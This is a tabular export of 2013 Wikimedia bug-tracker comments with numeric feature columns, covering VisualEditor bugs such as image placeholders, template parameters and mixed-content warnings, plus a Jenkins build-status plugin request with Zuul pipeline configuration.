*** This bug has been marked as a duplicate of bug 48900 ***",,,1372104211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48900 ***"
240685,Images turned into mw:Placeholder in certain cases,Related: Bug 48900,,,1372006246,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Related: Bug 48900
240677,Images turned into mw:Placeholder in certain cases,*** Bug 50008 has been marked as a duplicate of this bug. ***,,,1372003922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50008 has been marked as a duplicate of this bug. ***
240671,Images turned into mw:Placeholder in certain cases,"This is because Parsoid is converting the images to placeholders for some reason: http://parsoid.wmflabs.org/mw/User:Catrope/Bug_50035

Moving to Parsoid",,,1371972510,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-k4lzd6fndz3snhg24las,task_subcomment,,True,c1,2,False,,,-2,,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,26.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.684210526315789,0.8421052631578947,"This is because Parsoid is converting the images to placeholders for some reason: URL

Moving to Parsoid"
52022,Jenkins: Provide build status images,"Assuming we do not yet have something like this, it'd be awesome if this Jenkins plugin could be installed:

https://wiki.jenkins-ci.org/display/JENKINS/Embeddable+Build+Status+Plugin

I want to be able to embed such a build status image on some website.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1371912840,1372235730.0,PHID-USER-mye6umixnhfo7lhpgzmj,False,,False,PHID-TASK-fa3dg2ag3ccgjplogzop,task_description,resolved,True,c1,2,False,False,True,-2,,2.0,2.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,10.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7049180327868854,0.7377049180327869,"Assuming we do not yet have something like this, it'd be awesome if this Jenkins plugin could be installed:

URL

I want to be able to embed such a build status image on some website.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
239954,Jenkins: Provide build status images,"I have installed the plugin and restarted Jenkins. Please try it out, if it does not work simply reopen this bug :)",,,1372235730,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,4.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9583333333333334,"I have installed the plugin and restarted Jenkins. Please try it out, if it does not work simply reopen this bug :)"
239949,Jenkins: Provide build status images,"As Timo said, this will only be useful for Jobs triggering only on merge events. In Zuul that is the 'postmerge' pipeline, its configuration is currently:


Configured Pipeline Manager postmerge
Events:
  <EventFilter types: change-merged>
Projects:
  mediawiki/extensions/VisualEditor
    <Job mwext-VisualEditor-doc-publish> ^master$
  operations/mediawiki-config
    <Job beta-mediawiki-config-update> ^master$ 
  test/mediawiki
    <Job test-mediawiki-docgen>
  analytics/wikistats
    <Job analytics-wikistats>
  analytics/udp-filters
    <Job analytics-udp-filters>
  operations/puppet
    <Job operations-puppet-doc>
  analytics/webstatscollector
    <Job analytics-webstatscollector>
  analytics/libanon
    <Job analytics-libanon>
  mediawiki/extensions/Parsoid
    <Job parsoid-regressions>
  mediawiki/core
    <Job mediawiki-core-jslint> (?!REL1_19)^(\.jshint|.*\.(js|json)$)
    <Job mediawiki-core-lint>
    <Job mediawiki-core-jsduck-publish> ^(REL1_21|master)$^.*\.(js|json)$
    <Job mediawiki-core-regression-master> ^master$
    <Job mediawiki-core-regression-REL1_19> ^REL1_19$
    <Job mediawiki-core-regression-REL1_20> ^REL1_20$
    <Job mediawiki-core-regression-REL1_21> ^REL1_21
    <Job mediawiki-core-regression-phpcs-HEAD>
    <Job mediawiki-core-doxygen-publish>   
  mediawiki/extensions/Math
    <Job beta-recompile-math-texvc>
  integration/docroot
    <Job integration-docroot-deploy> ^master$

Some of those jobs are shared with over pipelines (such as mediawiki-core-lint) and are thus meaningless.  The only candidates would be:


mwext-VisualEditor-doc-publish
beta-mediawiki-config-update
beta-recompile-math-texvc
test-mediawiki-docgen
operations-puppet-doc
parsoid-regressions
mediawiki-core-regression-*
integration-docroot-deploy


If we wanted to do that for other repositories (such as mediawiki extensions), we will need to have JJB to create a new job and edit the Zuul template 'extensions-unittests' to have a postmerge pipeline.


 I need to restart Jenkins next week, so I will look at installing the plugin.",,,1372012020,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-2,,0.2,0.0,0.0,0.2,0.0,2.4,0.6,0.0,0.0,0.2,1.0,0.8,0.0,0.6,0.0,0.8,0.4,0.8,3.8,0.0,1.0,0.0,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.8,0.2,1.2,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.2,0.0,0.0,0.0,15.8,0.4,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,1.2,1.2,9.8,0.4,0.4,2.0,0.0,0.0,0.2,0.0,2.6,0.0,0.2,0.0,1.0,3.8,15.8,0.2,0.8,0.0,1.0,0.0,0.2,0.4,0.0,0.4,0.0,0.0,5.8,4.150537634408602,0.4903225806451613,"As Timo said, this will only be useful for Jobs triggering only on merge events. In Zuul that is the 'postmerge' pipeline, its configuration is currently:


Configured Pipeline Manager postmerge
Events:
  <EventFilter types: change-merged>
Projects:
  mediawiki/extensions/VisualEditor
    <Job mwext-VisualEditor-doc-publish> ^master$
  operations/mediawiki-config
    <Job beta-mediawiki-config-update> ^master$ 
  test/mediawiki
    <Job test-mediawiki-docgen>
  analytics/wikistats
    <Job analytics-wikistats>
  analytics/udp-filters
    <Job analytics-udp-filters>
  operations/puppet
    <Job operations-puppet-doc>
  analytics/webstatscollector
    <Job analytics-webstatscollector>
  analytics/libanon
    <Job analytics-libanon>
  mediawiki/extensions/Parsoid
    <Job parsoid-regressions>
  mediawiki/core
    <Job mediawiki-core-jslint> (?!REL1_19)^(\.jshint|.*\.(js|json)$)
    <Job mediawiki-core-lint>
    <Job mediawiki-core-jsduck-publish> ^(REL1_21|master)$^.*\.(js|json)$
    <Job mediawiki-core-regression-master> ^master$
    <Job mediawiki-core-regression-REL1_19> ^REL1_19$
    <Job mediawiki-core-regression-REL1_20> ^REL1_20$
    <Job mediawiki-core-regression-REL1_21> ^REL1_21
    <Job mediawiki-core-regression-phpcs-HEAD>
    <Job mediawiki-core-doxygen-publish>   
  mediawiki/extensions/Math
    <Job beta-recompile-math-texvc>
  integration/docroot
    <Job integration-docroot-deploy> ^master$

Some of those jobs are shared with over pipelines (such as mediawiki-core-lint) and are thus meaningless.  The only candidates would be:


mwext-VisualEditor-doc-publish
beta-mediawiki-config-update
beta-recompile-math-texvc
test-mediawiki-docgen
operations-puppet-doc
parsoid-regressions
mediawiki-core-regression-*
integration-docroot-deploy


If we wanted to do that for other repositories (such as mediawiki extensions), we will need to have JJB to create a new job and edit the Zuul template 'extensions-unittests' to have a postmerge pipeline.


 I need to restart Jenkins next week, so I will look at installing the plugin."
239941,Jenkins: Provide build status images,"Note that due to the way we currently separate larger build steps into separate jobs, you'd need to display about a dozen status badges to have the complete picture (e.g. mediawiki-core-lint, mediawiki-core-jslint, mediawiki-core-phpunit-groupA, mediawiki-core-phpunit-groupB, mediawiki-core-databaseless etc.).


If we do want to display this somewhere (for the unlikely event that someone bypassed Jenkins), we would need to have a post-merge job that runs on master only (so that it isn't affected by failing tests from proposed changes in Gerrit).

The closest we have for that is the post-merge job for phpunit regressions:

https://integration.wikimedia.org/ci/view/MediaWiki/job/mediawiki-core-regression-master/

This one only runs for master and only post-merge.

Note though that this doesn't include phplint, jshint and qunit. Only phpunit.",,,1371986909,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.5,0.0,0.5,1.0,10.0,0.5,0.0,0.5,0.5,1.0,1.5,0.0,2.5,0.0,2.0,0.0,5.0,12.5,0.5,2.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,4.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,15.5,1.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,4.0,1.0,5.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,3.5,12.5,3.5,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,0.5,0.5,0.5,0.5,3.8471956224350206,0.6200410396716827,"Note that due to the way we currently separate larger build steps into separate jobs, you'd need to display about a dozen status badges to have the complete picture (e.g. mediawiki-core-lint, mediawiki-core-jslint, mediawiki-core-phpunit-groupA, mediawiki-core-phpunit-groupB, mediawiki-core-databaseless etc.).


If we do want to display this somewhere (for the unlikely event that someone bypassed Jenkins), we would need to have a post-merge job that runs on master only (so that it isn't affected by failing tests from proposed changes in Gerrit).

The closest we have for that is the post-merge job for phpunit regressions:

URL

This one only runs for master and only post-merge.

Note though that this doesn't include phplint, jshint and qunit. Only phpunit."
239931,Jenkins: Provide build status images,"Installing that plugin won't be very useful because we use Jenkins pre-merge, not post-merge.

The builds you see in Jenkins are for patch sets in Gerrit. The latest build of those jobs have no meaning in correlation to the state of a repository as those builds are just an arbitrary sequence of builds on proposed changes.

The build status of our branches (incl. master) is always passing because you can't merge a change if it would result in the build failing.

Thus we don't need a status badge because our workflow (unlike most typical projects with e.g. Travis-CI set up on GitHub) makes it impossible not to be passing because we force every change to be pushed for review first, and is only merged after it is Verified by a passing build[1].

[1] Unless someone with the appropriate user permissions bypasses Jenkins manually, which is frowned upon and would break Jenkins for every submitted patch set after that.",,,1371986368,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fa3dg2ag3ccgjplogzop,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.5,0.5,2.0,2.5,4.5,1.5,2.0,0.0,1.0,3.5,1.5,0.0,0.5,0.0,2.5,0.5,7.5,16.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,1.5,1.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,15.5,0.5,1.5,0.5,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,5.5,4.5,8.0,3.5,1.0,9.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,5.0,16.0,4.5,0.0,0.0,0.0,5.0,0.0,0.5,2.5,0.0,2.0,0.0,1.0,0.5,4.095744680851064,0.75,"Installing that plugin won't be very useful because we use Jenkins pre-merge, not post-merge.

The builds you see in Jenkins are for patch sets in Gerrit. The latest build of those jobs have no meaning in correlation to the state of a repository as those builds are just an arbitrary sequence of builds on proposed changes.

The build status of our branches (incl. master) is always passing because you can't merge a change if it would result in the build failing.

Thus we don't need a status badge because our workflow (unlike most typical projects with e.g. Travis-CI set up on GitHub) makes it impossible not to be passing because we force every change to be pushed for review first, and is only merged after it is Verified by a passing build[1].

[1] Unless someone with the appropriate user permissions bypasses Jenkins manually, which is frowned upon and would break Jenkins for every submitted patch set after that."
52019,Parametr adds =,"I have tryed to add {{Commonscat|Saint Robert of Molesme}} to the article w:cs:Robert z Molesme using VE. VE adds ""="" behind parametr in the code. See this revision: https://cs.wikipedia.org/w/index.php?title=Robert_z_Molesme&oldid=10436403

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://cs.wikipedia.org/w/index.php?title=Robert_z_Molesme&diff=10436403&oldid=10436394",Needs Triage,90.0,1371911220,1373161574.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-ljxem5cmodalpwa72kg4,task_description,invalid,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.3088235294117645,0.5735294117647058,"I have tryed to add {{Commonscat|Saint Robert of Molesme}} to the article w:cs:Robert z Molesme using VE. VE adds ""="" behind parametr in the code. See this revision: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
239811,Parametr adds =,"But anyway, thx for explanation and sorry for disturbing!",,,1373174465,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ljxem5cmodalpwa72kg4,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.454545454545454,0.9090909090909091,"But anyway, thx for explanation and sorry for disturbing!"
239806,Parametr adds =,"(In reply to comment #1)
> ...the parameter name in this case is ""1""...

Isnt this tricky? How the newbie should know, that ""parametr name is 1""?",,,1373174438,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ljxem5cmodalpwa72kg4,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,10.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.933333333333333,0.9,"(In reply to comment #1)
QUOTE

Isnt this tricky? How the newbie should know, that ""parametr name is 1""?"
239800,Parametr adds =,"This was caused by you adding ""Saint Robert of Molesme"" as the parameter name rather than value - the parameter name in this case is ""1"", which wikitext can hide (the formal wikitext you were intending to add was ""{{Commonscat|1=Saint Robert of Molesme}}"".

In English the label (<visualeditor-parameter-input-placeholder>) is ""Parameter name"", which I believe is shown as ""Jméno parametru"" in Czech. I think the addition of the help documentation at https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide and linked from the help menu in the interface will reduce this occurring, but sorry for the confusion in the first place. :-(",,,1373161574,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ljxem5cmodalpwa72kg4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,10.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,1.0,0.0,3.5,2.5,0.0,1.0,1.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,14.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,3.5,9.5,0.0,1.5,9.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.5,10.0,6.5,0.0,6.0,0.0,2.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,1.0,3.8203125,0.7109375,"This was caused by you adding ""Saint Robert of Molesme"" as the parameter name rather than value - the parameter name in this case is ""1"", which wikitext can hide (the formal wikitext you were intending to add was ""{{Commonscat|1=Saint Robert of Molesme}}"".

In English the label (<visualeditor-parameter-input-placeholder>) is ""Parameter name"", which I believe is shown as ""Jméno parametru"" in Czech. I think the addition of the help documentation at URL and linked from the help menu in the interface will reduce this occurring, but sorry for the confusion in the first place. :-("
52016,Uncaught TypeError: Cannot read property 'description' of undefined,"After loading the Visual Editor on
https://pt.wikipedia.org/wiki/Quadrado?veaction=edit&debug=1&uselang=pt&useskin=vector
and clicking in the template which shows the text ""Wikicionário"", in the bottom right corner of the page, I get the following error on console (Google Chrome 28.0.1500.52):
----
Uncaught TypeError: Cannot read property 'description' of undefined 
----

It comes from the line 
----
if ( data.description !== null ) {
----

of the following script:
https://bits.wikimedia.org/static-1.22wmf7/extensions/VisualEditor/modules/ve/dm/models/ve.dm.MWTemplateSpecModel.js

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371898920,1371969869.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-wvgg7vhdge7chox3fyjo,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.5,5.5,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,0.0,9.5,1.0,0.5,5.5,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,1.5,7.0,4.0,0.0,3.0,0.0,1.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,3.849056603773585,0.6698113207547169,"After loading the Visual Editor on
URL
and clicking in the template which shows the text ""Wikicionário"", in the bottom right corner of the page, I get the following error on console (Google Chrome 28.0.1500.52):
----
Uncaught TypeError: Cannot read property 'description' of undefined 
----

It comes from the line 
----
if ( data.description !== null ) {
----

of the following script:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
239680,Uncaught TypeError: Cannot read property 'description' of undefined,"This is the same as bug 49493 which is fixed in master and now in production; sorry for the disruption.

*** This bug has been marked as a duplicate of bug 49493 ***",,,1371969869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvgg7vhdge7chox3fyjo,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,5.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.35,0.675,"This is the same as bug 49493 which is fixed in master and now in production; sorry for the disruption.

*** This bug has been marked as a duplicate of bug 49493 ***"
51986,Provide ability to alternate between visual and source editing,"A user suggested at
https://pt.wikipedia.org/wiki/WP:Editor_Visual/Coment%C3%A1rios?oldid=36175459#Alternar_entre_editores_sem_sair_da_p.C3.A1gina
which there should be a way to alternate between the two edit methods (visual/source), to avoid having to do two edits, when e.g. we are not able to finish our edit using the Visual Editor (maybe because we underestimate its difficulty, and changed our mind while using VisualEditor).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371855780,1371855868.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-c3wbsdob4ioii2vvg62w,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,1.0,5.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,5.0,10.0,0.0,5.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,10.0,5.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.9759036144578315,0.7108433734939759,"A user suggested at
URL
which there should be a way to alternate between the two edit methods (visual/source), to avoid having to do two edits, when e.g. we are not able to finish our edit using the Visual Editor (maybe because we underestimate its difficulty, and changed our mind while using VisualEditor).

--------------------------
**Version**: unspecified
**Severity**: normal"
237997,Provide ability to alternate between visual and source editing,"Already suggested as bug 47779.

*** This bug has been marked as a duplicate of bug 47779 ***",,,1371855868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c3wbsdob4ioii2vvg62w,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2083333333333335,0.625,"Already suggested as bug 47779.

*** This bug has been marked as a duplicate of bug 47779 ***"
51984,VisualEditor: Insecure image links on https,"When I open
https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit
I see several warnings like this on Google Chrome:

The page at https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Commons-logo.svg/22px-Commons-logo.svg.png.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371854820,1371855005.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-7ahnfikr3ud3nwuglytr,task_description,resolved,True,c1,2,False,False,True,-2,,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9318181818181817,0.6363636363636364,"When I open
URL
I see several warnings like this on Google Chrome:

The page at URL displayed insecure content from URL

--------------------------
**Version**: unspecified
**Severity**: normal"
237865,VisualEditor: Insecure image links on https,"

